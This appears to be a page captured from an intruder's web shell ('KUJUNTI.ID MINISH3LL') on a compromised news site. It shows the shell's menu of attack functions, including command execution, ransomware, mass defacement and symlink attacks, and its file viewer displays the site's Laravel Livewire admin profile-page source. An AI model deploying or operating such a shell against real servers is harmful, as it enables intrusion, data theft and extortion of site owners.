KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaynews-v2/app/Http/Livewire/Admin/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaynews-v2/app/Http/Livewire/Admin/ProfilePage.php


<?php

namespace App\Http\Livewire\Admin;

use App\Models\User;
use Jantinnerezo\LivewireAlert\LivewireAlert;
use Livewire\Component;
use Livewire\WithFileUploads;

class ProfilePage extends Component
{
    use WithFileUploads;
    use LivewireAlert;

    public $user,$password,$feature_image,$old_image;

    public function mount()
    {
        $this->user = collect([
            'name' => auth()->user()->name,
            'gender' => auth()->user()->gender,
            'email' => auth()->user()->email,
            'phone' => auth()->user()->phone,
            'desc' => auth()->user()->desc,
        ]);
        $this->old_image= auth()->user()->feature_image;
    }

    public function updatedPassword()
    {
        if (strlen($this->password) > 0) {
            $this->validate([
                'password' => 'required|min:6'
            ]);
        }
    }
    public function render()
    {
        return view('livewire.admin.profile-page')->layout('layouts.admin');
    }

    public function submit()
    {
        $user = User::findOrFail(auth()->user()->id);
        if (!empty($this->feature_image)) {
            $avatar = $this->feature_image->store('avatar');
            if(!empty($this->old_image)){
                $old_img_path = public_path($this->old_image); //is get path old image 
                if (file_exists($old_img_path)) {
                    unlink($old_img_path);
                }
                $this->old_image = '';
            }
        }
        $user->update([
            'name' => $this->user['name'],
            'gender' => $this->user['gender'],
            'email' => $this->user['email'],
            'phone' => $this->user['phone'],
            'desc' => $this->user['desc'],
            // 'password' => $this->password,
            'feature_image' => !empty($this->feature_image) ? $avatar : $this->old_image,
        ]);
        $this->alert('success', 'Your item has been update successfully.', [
            'position' =>  'top',
            'toast' =>  true,
            'showCancelButton' =>  false,
            'showConfirmButton' =>  false,
            'timerProgressBar' => true,
        ]);
    }
}

© KUJUNTI.ID